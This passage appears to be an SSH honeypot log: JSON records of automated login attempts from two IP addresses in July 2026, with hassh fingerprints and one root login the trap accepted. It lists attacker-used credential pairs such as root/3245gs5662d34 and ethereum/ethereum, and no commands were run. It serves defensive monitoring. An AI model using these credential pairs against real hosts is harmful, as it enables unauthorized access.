"src_ip": "2.57.122.238",
"start_time": "2026-07-29T17:07:11.704953Z",
"end_time": "2026-07-29T17:07:13.541926Z",
"duration": "1.8",
"version": "SSH-2.0-Go",
"hassh": "16443846184eafde36765c9bab2f4397",
"attempts": [
{
"user": "ethereum",
"pass": "ethereum"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: solv
{
"id": "0ac2d1ffd75e",
"src_ip": "2.57.122.238",
"start_time": "2026-07-29T17:05:33.733259Z",
"end_time": "2026-07-29T17:05:35.572603Z",
"duration": "1.8",
"version": "SSH-2.0-Go",
"hassh": "16443846184eafde36765c9bab2f4397",
"attempts": [
{
"user": "solv",
"pass": "12345678"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / 3245gs5662d34
{
"id": "97e020ce0545",
"src_ip": "43.163.90.141",
"start_time": "2026-07-29T17:05:30.046464Z",
"end_time": "2026-07-29T17:05:31.193875Z",
"duration": "1.1",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "3245gs5662d34"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34
{
"id": "55daff8839da",
"src_ip": "43.163.90.141",
"start_time": "2026-07-29T17:05:27.721378Z",
"end_time": "2026-07-29T17:05:29.865119Z",
"duration": "2.1",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [
{
"user": "345gs5662d34",
"pass": "345gs5662d34"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}